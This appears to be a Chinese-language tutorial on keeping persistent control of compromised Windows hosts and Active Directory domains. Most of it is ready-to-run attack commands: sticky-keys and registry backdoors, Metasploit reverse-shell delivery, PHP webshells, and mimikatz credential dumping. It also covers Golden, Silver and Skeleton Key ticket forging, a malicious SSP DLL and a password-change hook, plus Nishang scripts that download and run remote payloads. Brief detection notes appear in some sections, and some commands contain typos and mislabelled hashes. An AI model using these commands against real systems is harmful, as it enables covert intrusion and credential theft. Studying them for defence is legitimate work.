通过建立后门来维持对目标主机的控制权

操作系统后门

操作系统后门,泛指绕过目标系统安全控制体系的正规用户认证过程来维持对目标系统的控制权及隐匿控制行为的方法。

粘滞键后门

粘滞键后门是一种常见的持续控制方法

在windows主机上连续按5此shift键,可调出粘滞键。Windows的粘滞键只要是为无法同时按多个键的用户设计的。

用可执行文件sethc.exe.bak替换windows\system32目录下的粘滞键可执行文件sethe.exe连续按5次shift键,将弹出命令行窗口,可以直接system权限执行系统命令、创建管理员用户、登录服务器等

1
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

注销,在登录页面按5次shift键调用后门

通过命令添加管理员登录

1
net user gkk test@123 /add && net localgroup administrators gkk /add

除了手动的还可以直接使用Empire来实现这一功能,之前有

1
2
3
4
usemodule lateral_movement/invoke_wmi_debugger
set Listener
set ComputerName WIN7-X64-TEST.hacke.testlab
execute

运行后,在目标主机登录窗口按5次Shift键即可触发后门

注册表注入后门

在普通用户权限下,将需要执行的后门程序或者脚本路径填写到注册表键HKCU:Software\Microsoft\Windows\CurrentVersion\Run中,键名可以随意设置

依旧使用Empire实现

1
2
3
usemodule persistence/elevated/registry*
set Listener
execute

重启目标机,会弹个黑框,之后就会收到反弹的shell

计划任务后门

计划任务在windows7及之前版本的操作系统中使用at命令调用,在从windows8本本开始的操作系统中使用schtasks命令调用。计划任务后门分为管理员权限和普通用户两种。管理员权限的后门可以设置更多的计划任务,例如重启后运行

1
schtasks /Create /tn Updater /tr notepad.exe /sc hourly /mo 1

常见模拟计划任务后门

1、在metasploit中模拟计划任务后门

使用metasploit的Powershell payload web Delivery模块,可以模拟攻击者在目标系统中快速建立会话的行为。该行为不会被写入磁盘

1
2
3
4
5
6
use exploit/multi/script/web_delivery 
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.6
set lport 443
exploit

在目标系统中输入生成的后门代码,就会创建一个新的会话

*2、在powerSploit中模拟计划任务后门 *

使用PowerShell版本的PowerSploit渗透测试框架的Persistence模块,可以模拟生成一个自动创建计划任务的后门脚本

上传到目标后,导入脚本

1
Import-Module .\Persistence.psm1

如下命令,使用计划任务的方式创建后门。该后门会在计算机处于空闲状态时执行,执行成功后会生成名为Persistence.ps1的脚本

1
2
3
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-Persistence -FilePath ./shuteer.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose

Shutter.ps1是计划任务要执行的payload 可以执行如下生成该文件

3、在Empire中模拟计划任务后门

meterpreter后门
Cymothoa后门
WMI型后门

WMI型后门只能由具有管理员权限的用户运行。WMI型后门具有两个特征,既无文件和无进程。基本的原理是:将代码加密存储于WMI中。

Web后门

Webshell,是一段包含ASP、ASP.NET、PHP、JSP程序的网页代码。设计构造代码,在服务器上进行一些危险的操作。

Nishang下的Webshell

Nishang是一款针对PowerShell的渗透测试工具,集成了框架、脚本。包括下载和执行、键盘记录、DNS、延时命令等脚本和各种payload

Weevely后门

weevely是一款用python语言编写的针对PHP平台的Webshell,下载地址:https://github.com/epinna/weevely3

主要功能如下:

  • 执行命令和浏览远程文件
  • 检测常见的服务器配置问题
  • 创建TCP Shell 和Revers Shell
  • 扫描端口
  • 安装HTTP代理

在kali中输入weevely查看帮助信息

  • weekly[cmd]:链接一句话木马
  • Weekly session[cmd]:加载会话文件
  • Weekly generate:生成后门代理

如下生成一个webshell,命令为test.php

1
weevely generate test /home/kali/Desktop/test.php

在把生成的后门文件上传的目标主机后,在当前机器输入如下命令连接webshell

1
weevely http://127.0.0.1/test.php test

查看帮助信息help

system_info查看目标主机系统信息

扫描目标主机的指定端口net_scan xx.xx.xx.xx:88

扫描目标主机的内网IP地址段net_scan xx.xx.xx.xx/24:80

webacoo后门

webacoo(Web Backdoor Cookie)是一款针对PHP平台的We后门工具,最新版已去除,老版本的kali自带

1
webacoo -h

如下命令,生生一个webshell,并保存为test.php

1
webacoo -g -o /root/桌面/test.php

将生成的后门文件上传到目标服务器后使用如下命令连接webshell,连接成功后,可以使用load命令查看模块,并可以进行上传、下载、连接数据库等操作,exit退出

1
webacoo -t -u http://127.0.0.1/test.php
ASPX meterprter后门、PHP meterpreter后门等

参考:利用msfvenom生成木马

域控制器权限持久化

在获取域控制器权限后,拥有域管理员权限的情况下将权限持久化的方法

DSRM域后门

1、DSRM域后门简介

DSRM(Directory Services Restore Mode,目录服务恢复模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员账户(也就是DSRM账户)。DSRM的用途是:允许管理员在域环境中出现故障或崩溃时还原、修复、重建活动目录数据库,使域环境的运行恢复正常。在域环境创建初期,DSRM的密码在安装DC时设置,且很少会被重置。修改DSRM密码最基本的方法是在DC上运行ntdsutil命令行工具。

渗透中,可以使用DSRM账号对域环境进行持久化操作。如果域控制器的系统版本为windows server 2008 需要安装KB961320才可以使用制定域账号的密码对DSRM的密码进行通过。在windows server 2008以后版本的系统中不需要安装此补丁。windows server 2003无法使用此方法

每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器

2、修改DSRM密码的方法

微软公布的修改DSRM密码的方法。在域控制器上打开命令行环境,常用命令如下:

  • NTDSUTIL:打开ntdsuti
  • Set dorm password:设置DSRM的密码
  • reset password on server null:在当前域控控制器上恢复DSRM密码
  • :修改后的密码
  • q(第1次):退出DSRM密码设置模式
  • q(第2次):退出ntdsutil

如果域控制器的系统版本为windows server 2008(已安装KB961320)及以上,可以将DSRM密码同步为已存在的域账号密码。常用命令如下

  • NTDSUTIL:打开ntdsutil
  • SET DSRM PASSWORD:设置DSRM密码
  • SYNCFROM DOMAIN ACCOUNT domainusername:使DSRM的密码和制定用户的密码同步
  • q(第1次):退出DSRM密码设置模式
  • q(第2次):退出ntdsutil

3、实验操作

(1)使用mimikatz查看krbtgt的NTLM Hash

在域控制器中打开mimikatz,分别输入如下命令,显示krbtgtNTLM Hashff73ba115f7d6145f4c2e41f97f9a320

1
2
privilege::debug
lsadump::lsa /patch /name:krbtgt

(2)使用mimikatz查看并读取SAM文件中本地管理员的NTLM Hash

在域控制器中运行mimikatz,输入如下命令,显示DSRM账号的NTLM Hash09bc0266e773764dc3606744ddbe133d

1
2
3
4
//token::elevate
//lsadump::sam
privilege::debug
sekurlsa::logonpasswords full

(3)将DSRM账号krbtgt的NTLM Hash同步

1
2
SET DSRM PASSWORD
SYNC FROM DOMAIN account krbtgt

(4)查看DSRM的NTLM Hash是否同步成功

通过mimikatz,得到DSRM账号的NTLM Hash为

(5)修改DSRM的登录方式

在注册表中新建HKLM\System\Currentcontrol\Lsa\DsrmAdminLogonBehavior项

DSRM的三种登录方式,具体如下

  • 0:默认值,只用当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何请款修改,都可以使用DSRM管理员账号登录域控制器

需要注意,Windows server 2000以后版本的操作系统中,对DSRM使用控制台登录域控制器进行了限制

如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可用powershell进行更改

1
New-Itemproperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

(6)使用DSRM账号通过网络远程登录域控制器

使用mimikatz进行哈希传递。在域成员机器的管理员模式下打开mimikatz,分别输入输入命令

1
2
privilege::debug
sekurlsa::pth /domain:DC /user:Administrator /ntlm:

(7)使用mimikatz的dcysnc功能远程转储krbtgt的NTLM Hash

哈奇传递完成后,会弹出一个命令行窗口,输入如下命令

1
lsadump::dcsync /domain:hacke.testlab /dc:dc /user:krbtgt

4、DSRM域后门检测

  • 定期检查注册表中用于控制DSRM登录方式的键值HKLM\System\CurentControlSet\Control\Lsa\DSRMAdminLogonBehavior,确认该键值为1,或者删除该键值
  • 定期修改域中所有域控制器的DSRM账号
  • 经常检查ID为4794的日志。尝试设置活动目录服务还原模式的管理员密码会被记录在4794日志中
组策略后门

域组策略和执行脚本存放在域控制器的SYSVOL目录下,所有域用户均可访问它们,但只有高权限用户有修改权限。在登录域时,域账号会查询并执行属于自己的域组策略及执行脚本。在域组策略中,我们可以添加计划任务等让域内主机执行目标文件

因此,如果低权限用户具备SYSVOL目录的修改权限,就可以进行域控制器的权限维持。

(1)查看域控制器共享文件,执行如下命令

1
2
3
whoami
net view \\dc.hacke.testlab
dir \\dc.hacke.testlab\SYSVOL

(2)在域控制器的SYSVOL目录下添加zhangsan用户密码为test@123的控制权限

1
net user zhangsan test@123 /add && net localgroup administrators zhangsan /add

(3)向域控制器的SYSVOL目录内写入文件并进行文件目录和类型的查看,执行如下命令,可以看到普通用户拥有了对域控制器SYSVOL目录读写的权限。这之后我们就可以修改组策略,实现隐蔽后门

1
2
3
echo "demo" >\\dc.hacke.testlab\SYSVOL\sanr.text
dir \\dc.hacke.testlab\SYSVOl
tyep \\dc.hacke.testlab\SYSVOL\sanr.txt

(4)利用MS15-011漏洞进行权限维持

window域成员机器每间隔90min+random()*30min就会向域控制器请求更新组策略,并以gpt.ini文件中的版本信息来判断是否正在使用最新的域策略。如果gpt.ini的版本信息较低,域成员机器会请求GptTmpl.inf文件的策略进行更新。

为了利用该漏洞,我们需要修改Version的值,路径在C:\Windows\SYSVOL\domain\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}中的GPT.INI

我们利用默认域组策略GUID:{31B2F340-016D-11D2-945F-00C04FB984F9}进行权限维持。域策略中的文件GptTmpl.inf(目录为C:\Windows\SYSVOL\domain\Policies{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf)用于存储组策略的配置,如密码复杂度是否启用、密码最长期限、最短密码长度等。

其中有一项是注册表,我们可以把注册表项已有的配置信息替换为指定的恶意配置信息,等域成员机器更新组策略时,组策略文件就会被下载到域成员的机器中执行并修改注册表的内容,执行指定的恶意程序

1
2
[Registry Values]
MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1

我们需要修改[Registry Values]项为:

1
MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger=1,C:\Windows\System32\calc.exe

这段代码用到了映像劫持(Image File Execution Options)技术。就是打开A程序的同时会执行B程序。当域成员更新完组策略后,会运行cmd.exe和calc.exe程序。我们可以根据需求对cmd.exe和calc.exe程序进行修改。

最后更新组策略

SSP维持域控制权限

SSP(Security Support Provider)是Windows操作系统安全机制的提供者。简单说SSP是一个DLL文件,主要用来实现windows操作系统的身份认证功能,如NTLM、kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)

SSPI(Security Support Provider Interface安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI是SSP的API接口

如果获得了网络中目标机器的system权限,可以使用该方法进行持久化操作。其主要原理是LSA(Loacl Security Authority)用于身份验证;lsass.exe作为Windows系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe进程中。但是,如果我们对LSA进行了扩展,自定义了恶意DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样,即使用户更改密码并重新登录,攻击者依然可以获取该账号的新密码。

1、实验

第一个实验,使用mimikatz将伪造的SSP注入内存。这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。

在域控制器中以管理员权限打开mimikatz,输入如下命令

1
2
privilege::debug
misc::memssp

注销当前用户。注入用户名和密码后重新登录,获取明文密码,密码存储在日志文件C:\Windows\System32\mimilsa.log

第二个实验,将mimikatz中的mimilib.dll放到系统的C:\Windows\System32\目录下,并将mimiliv.dll添加到注册表中。这种方法,及时系统重启,也不会影响持久化效果

将mimikatz中的mimilib.dll复制到系统的C:\Windows\System32\目录下

修改HKEY_LOCAL_MACHINE\System\CurrentSet\Control\Lsa\Security Packages项,加载新的DLL文件

命令模式

1
2
3
4
5
copy mimilib.dll %systemroot%\system32

reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"

reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

系统重启后,如果DLL被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:\Windows\System32\kiwissp.log

2、SSP维持域控制器检测

  • 检查HKEY_LOCAL_MACHINE\System\CurrentSet\Control\Lsa\Security Package项中是否含有可疑的DLL文件
  • 检查C:\Windows\System32\目录下是否有可疑的DLL文件
  • 使用第三方工具检查LSA中是否有可疑的DLL文件
SID History域后门

每个用户都有自己的SID。SID的作用主要是跟踪安全主题控制用户连接资源时的访问权限。SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中新建的用户的SID会随之改变,进而影响前一后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。SID History的作用是在域迁移过程中保持域用户的访问权限,既如果迁移后的用户保持原有权限、能够访问其原来可以访问的资源。使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在获取了域管理员权限(或者等同于域管理员的权限)就可以将SID History作为实现持久化的方法

1、实验

AadministratorSID添加到恶意用户hackeSID History属性中。使用powershell查看hacke用户的SID History属性。

1
2
Import-Module ActiveDirectory
Get-ADUser hacke -Properties sidhistory

打开一个具有域管理严的命令行窗口,运行mimikatz,将Administrator的SID添加到hacke用户的SID History属性中。注意:在使用mimikatz注入SID之前,需要使用sid::patch命令修复NTDS服务,否则无法将高权限的ISD注入低权限用户的SID History属性;mimikatz在2.1版本后,将misc::addsid模块移到了sid::add模式下

1
2
3
privilege::debug
sid::patch
sid::add /sam:hacke /new:administrator

再次使用powershell查看hacke用户的SID History

1
Get-ADUser hacke -Properties sidhistory

使用hacke用户登录系用,测试其是否具有Administrator的权限。尝试列出域控制器C盘的目录

2、SID History域后门防御

先列一下SID History域后门的特点

  • 在控制域控制器后,可以通过注入SID History属性完成持久化任务
  • 拥有高权限SID的用户,可以使用powershell远程导出域控制器的ntds.dit
  • 如果不再需要通过SID History属性实现持久化,可以在mimikatz中执行sid::clear /sam:username,清除SID History属性

SID History 域后门的防御措施

  • 经常c哈看域用户中SID为500的用户
  • 完成域迁移工作后,对有相同SID History属性的用户进行检查
  • 定期检查ID为4765和4766的日志。4765为将SID History属性添加到用户的日志。4766为将SID History属性添加到用户失败的日志
Golden Ticket(黄金票据)

假设域内存在一个SID为502的域账号krbtgt。krbtgtKDC服务使用的账号,属于Domain Adminis组。在域环境中,每个用户账号的票据都是由krbtgt生成的,如果拿到了krbtgtNTLM Hash或者AES-256值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

在使用Golden Ticket(黄金票据)进行票据传递攻击时,需要掌握以下信息

  • 需要伪造的域管理员用户名
  • 完整的域名
  • 域SID
  • krbtgt的NTLM Hash或AES-256值

实验环境

域控制器

  • IP地址:192.168.1.1
  • 域名:hacke.testlab
  • 用户名:administrator
  • 密码:Admin!@#$4321

域成员服务器

  • IP地址:192.168.1.2
  • 域名:hacke.testlab
  • 用户名:testuser
  • 密码:Admin!@#$1234

1、导出krbtgt的NTLM Hash

通过mimikatz的dcsync功能远程转储活动目录中ntds.dit。指定/user 参数 只导出krbtgt账号的信息:ff73ba115f7d6145f4c2e41f97f9a320

1
lsadump::dcsync /domain:hacke.testlab /user:krbtgt

2、获取基本信息

(1)获取域SID

查询SID,这种方法,可以以普通用户权限获取域内所有用户的SID。hacke.testlab域的SIDS-1-5-21-3125703835-992822856-3564750058

1
wmic useraccount get name,sid

(2)获取当前用户的SID

1
whoami /user

(3)查询域管理员账号

1
net group "domain admins" /domain

(3)查询域名

1
ipconfig /all

3、实验操作

在获取目标主机权限后,查看当前用户及其所属的组

1
net user testuser /domain

输入dir \\dc\c$在注入票据前将返回提示信息Access is denied(表示权限不足)

(1)清空票据

运行mimikatz,清除当前会话中的票据

1
kerberos::purge

(2)生成票据

使用mimikatz生成包含krbtgt身份的票据,命令执行后会提示保存成功,这时会在本地生成一个名为Administrator:kiribi的文件

1
kerberos::golden /admin:administrator /domain:hacke.testlab /sid:S-1-5-21-3125703835-992822856-3564750058 /krbtgt:ff73ba115f7d6145f4c2e41f97f9a320 /ticket:Administrator.kiribi

(3)传递票据并注入内存

Aadministrator:kiribi票据注入内存

1
kerberos::ptt Administrator.kiribi

(4)检查当前会话中的票据

刚刚注入的票据就会出现在当前的会话中

1
kerberos::tgt

4、权限验证

输入dir \\dc\c$。很明显,在将票据注入内存之前,系统提示权限不足,将票据注入内存之后,列出了域控制器C盘的目录,表示身份伪造成功

1
2
dir \\dc\c$
cscript wmiexec.vbs /shell dc

使用krbtgt的AES-256值生成票据并将其注入内存,也可伪造用户。之前导出的krbtgt的AES-256值为40e24d35600583634503c3aa076b39ecc3031a97467103539221472b3897e0c2如下命令,生成一张票据

1
kerberos::golden /admin:administrator /domain:hacke.testlab /sid:S-1-5-21-3125703835-992822856-3564750058 /aes256:40e24d35600583634503c3aa076b39ecc3031a97467103539221472b3897e0c2 /ticket:Administrator.kiribi

其他操作同上

5、Golden Ticket攻击的防御

管理员通常会修改域管理员的密码,但有时会忘记将krbtgt密码一并重置。因此,如果要防御Golden Ticket,需要将krbtgt密码重置两次

使用Golden Ticket伪造的用户可以是任意用户(即使这个用户不存在)。因为TGT的加密是由krbtgt完成的,因此,只要TGT被krbtgt账户和米么正确地加密,那么任意KDC使用krbtgt将TGT解密后,TGT中的所有信息都是可信的。在如下两种情况下才能修改krbtgt密码

  • 域功能级别从windows 2000或windows server 2003提升至windows server2008或windows server 2012。在提升域功能的过程中,krbtgt的密码会被自动修改
  • 用户自行进行安全检查和相关服务加固时会修改krbtgt的密码
Silver Ticket(白银票据)

Silver Ticket(白银票据)不同于Golden TicketSilver Ticket的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控制器,很少留下日志。而Golden Ticket在利用过程中需要由KDC颁发TGT,并且在生成伪造的TGT的20分钟内,TGS不会对该TGT的真伪进行校验

Silver Ticket依赖于服务账号的密码散列值,不用域Golden Ticket利用需要使用krbtgt账号的密码散列值,因此更加隐蔽

Golden Ticket使用krbtgt账号的密码散列值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获取域控制器权限。而Silver Ticket会通过相应的服务账号来伪造TGS,如LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。

Golden Ticket是由krbtgt账号加密的,而Silver Ticket是由特定的服务账号加密的

在使用Silver Ticket时需要掌握以下信息

  • 域名
  • 域SID
  • 目标服务器的FQDN
  • 可利用的服务
  • 服务账号的NTLM Hash
  • 需要伪造的用户名

1、实验:使用Silver Ticket伪造CIFS服务权限

CIFS服务通常用于windows主机之间的文件共享

首先使用当前域用户权限,查询对域控制器的共享目录的访问权限

1
dir \\dc\c$

在域控制器上运行mimikatz,获取服务账号的NTLM Hash 09bc0266e773764dc3606744ddbe133d

1
2
//使用log参数以便复制散列值
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"

清空本地票据缓存

1
2
kerberos::purge #清理本地票据缓存
kerberos::list #查看本地保存的票据

在域成员机器上,既不能访问域控制器共享目录的机器中输入命令生成伪造的Silver Ticket

1
kerberos::golden /domain:DCSRV.Motoo.nc /sid:S-1-5-21-284927032-1122706408-2778656994 /target:MoToo-DCSRV.Motoo.nc /service:cifs /rc4:eabd9a2e3a1733bcc44120572b571ae8 /user:WebAdm /ptt

验证去啊先,发现可以访问域控制器的共享目录了

2、实验:使用Silver Ticket伪造LDAP服务权限

使用dcsync从域控制器中获取指定用户的账号和密码散列值

测试以当前权限是否可以使用dcsync与域控制器进行同步,发现失败,当前权限不能进行dcsync操作

1
lsadump::dcsync /dc:dc.hacke.testlab /user:krbtgt

在域控制器中使用mimikatz获取服务账号NTLM Hash

1
2
//使用log参数以便复制散列值
mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords"

清空当前系统中的票据

1
2
kerberos::purge #清理本地票据缓存
kerberos::list #查看本地保存的票据

生成伪造的Silver Ticket ,在之前不能使用dcsync从域控制器获取krbtgt密码散列值的机器中输入如下命令

1
kerberos::golden /domain:hacke.testlab /sid:S-1-5-21-3125703835-992822856-3564750058 /target:dc.hacke.testlab /service:LDAP /rc4:09bc0266e773764dc3606744ddbe133d /user:testuser /ptt

使用dcsync在域控制器中茶轩krbtgt的密码散列值

1
lsadump::dcsync /dc:dc.hacke.testlab /domain:hacke.testlab /user:krbtgt

Silver Ticket还可用于伪造其他服务,如创建和修改计划任务、使用WMI对远程主机执行命令、使用PowerShell对远程主机进行管理

*3.Silver Ticket攻击的防御 *

  • 装杀软,更新补丁
  • 使用组策略在域中进行相应的配置,限制mimikatz在网络中的使用
  • 计算机的账号和密码默认每30天更改一次。检查该设置是否生效
Skeleton Key(万能密码)

使用Skeleton Key(万能密码),可以对域内权限进行持久化操作

Skeleton Key注入到域控制器的lass.exe进程

实验环境

域控制器

  • 主机名:DC
  • IP地址:192.168.1.1
  • 用户名:administrator
  • 密码:Admin!@#$4321

域成员服务器

  • 主机名:2008
  • IP地址:192.168.1.2
  • 用户名:testuser
  • 密码:Admin!@#$1234

1.实验:在mimikatz中使用Skeleton Key

尝试以当前登录用户身份列出域控制器C盘共享目录中的文件。因为此时使用的是一个普通域用户身份,所以系统提示权限不足

1
2
dir \\192.168.1.1\c$
dir \\dc\c$

使用域管理员账号和密码进行连接

1
2
net use \\192.168.1.1\ipc$ "Admin!@#$4321" /user:hacke.testlab\administrator
dir \\192.168.1.1\c$

在域控制器中以管理员权限打开mimikatz,分别输入如下命令,将Skeleton Key注入域控制器的lsass.exe进程

1
2
privilege::debug
misc::skeleton

提示Skeleton Key已经注入成功。这时,会在域内的所有账号中添加一个Skeleton Key,其密码默认为mimikatz。接下来,就可以以域内任意用户的身份,配合该Skeleton Key,进行域内身份授权验证

在不使用域管理员原始密码的情况下,使用注入的Skeleton Key,同样可以成功连接系统。

先将之前建立的ipc$删除

1
2
net use
net use \\192.168.1.1\ipc$ /del /y

输入如下命令,使用域管理员账号和Skeleton Key与域控制器建立ipc$。成功建立连接,并列出了域控制器C盘的共享目录

1
net use \\dc\ipc$ "mimikatz" /user:hacke.testlab\administrator

2.实验:在Empire中使用Skeleton Key

在获取一个agent的时,将skeleton_key注入后,Empire会提示可以使用密码mimikatz进入系统

1
2
3
interact A93VXTMU //进入agent
usemodule persistemce/misc/skeleton_key
execute

3.Skeleton Key攻击防御措施

14年,微软增加了LSA保护策略,以防止lsass.exe进程被恶意注入,从而防止mimikatz在非允许的情况下提升到Debug权限。通用的Skeleton Key防御措施如下

  • 域管理员用户要设置强口令,确保恶意代码不会在域控制器中执行
  • 在所有域用户中启用双因子认证,例如智能卡认证
  • 启动应用程序白名单(如AppLocker)以限制mimikatz在域控制器中的运行

日常网络维护中,注意以下方面,也可有效防范Skeleton Key

  • 向域控制器注入Skeleton Key的方法,只能在64位操作系统中使用,包括Windows server 2012 R2、Windows server 2012、Windows server 2008、Windows server 2008 R2 Windows server 2003 R2 、Windows Server 2003
  • 只有具有域管理员权限的用户可以将Skeleton Key注入域控制器的lsass.exe进程
  • Skeleton Key被注入后,用户使用现有的密码仍然可以登录系统
  • 因为Skeleton Key是被注入lass.exe进程,所以它只存在于内存中。如果域控制器重启,注入的Skeleton Key将会失效。
Hook PasswordChangeNotify

Hook PasswordChangeNotify的作用是当用户修改密码后在系统中进行同步。可以利用该功能获取用户修改密码时输入的密码明文

在修改密码时,用户输入新密码后,LSA会嗲用PasswordFileter来检查该密码是否符合复杂性要求。如果符合复杂性要求,LSA会调用PasswordChangeNotify,在系统中同步密码

1、生成Hook dll

参考链接:域渗透——Hook PasswordChangeNotify – 三好学生

poc下载地址:https://github.com/clymb3r/Misc-Windows-Hacking

使用VS2019开发环境,MFC设置为在静态库中使用MFC编译工程,生成HookPasswordChange.dll,这里要选静态库中使用MFC,不然生成的dll会报错

下载Powershell的dll注入脚本:

https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

在目标系统中启动管理员权限的Powershell使用 使用Invoke-ReflectivePEInjection.ps1注入HookPasswordChange.dll内存

1
2
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass

在Server 2012 R2 x64下,手动修改域控密码后
C:\Windows\Temp下可以找到passwords.txt,其中记录了新修改的密码。一种直接命令修改,另一种可在Active Directory 用户和计算机对用户进行重置密码

1
net user administrator Admin!@#123

Nishang下的脚本后门

HTTP-Backdoor脚本

HTTP-Backdoor脚本可以在目标主机上下载和执行powershell脚本,接收来自第三方网站的指令,在内存中执行powershell脚本

1
TTP-Backdoor -CheckURL http://pentest.com/test.php?id=1 -PayloadURL http://pentest.com/test.php?id=2 -MagicString start123 -StopString stopthis
  • -CheckURL:给出一个URL地址。如果该地址存在,MagicString中值就会执行Payload下载并运行攻击者的脚本
  • PayloadURL:给出需要下载的powershell脚本的地址
  • StopString:判断是否存在CheckURL返回的字符串,如果存在则停止执行
Add-ScrnSaveBackdoor脚本

Add-ScrnSaveBackdoor脚本可以利用Windows的屏幕保护功能程序安安装一个隐藏的后门

1
2
3
4
Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" //执行payload
Add-ScrnSaveBackdoor -PayloadURL http://192.168.1.1/Powerpreter.psm1 -Arguments HTTP-Backdoor http://pentest.com/test.php?id=1 -PayloadURL http://pentest.com/test.php?id=2 start123 stopthis //在powershell中执行一个HTTP-Backdoor脚本

Add-ScrnSaveBackdoor -PayloadURL http://192.168.1.1/code.exec.ps1
  • PayloadURL:指定需要下载的脚本地址
  • -Arguments:执行需要执行的函数及相关参数

用msfvenom生成一个Powershell然后执行如下命令,返回一个meterpreter

1
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=x.x.x.x -f powershell
Execute-OnTime

Execute-Ontime脚本用于在目标主机上指定powershell脚本的执行时间,与HTTP-Backdoor脚本使用方法类似,只是增加了定时功能

1
Execute-Ontime PayloadURL http://pentest.com/test.php?id=1 -Arguments Get-Information -Time hh:mm -CheckURL http://pentest.com/test.php?id=2 -Stopstring stoppayload
  • PayloadURL:指定下载的脚本地址
  • -Arguments:指定要执行的函数名
  • -Time:设置脚本执行的时间,如-Time 23:21
  • -CheeckURL:检测一个指定的URL里是否存在StopString给出的字符串,如果存在就停止执行
Invoke-ADSBackdoor

Invoke-ADSBackdoor脚本能够在NTFS数据流中留下一个永久性的后门。不易被发现

Invoke-ADSBackdoor脚本用于向ADS注入代码并以普通用户权限运行

1
Invoke-ADSBackdoor -PayloadURL http://test/test.ps1

执行后,手工无法找到其问题,只有执行dir /a /r命令才能看到写入的文件

参考资料

内网安全攻防

近源渗透测试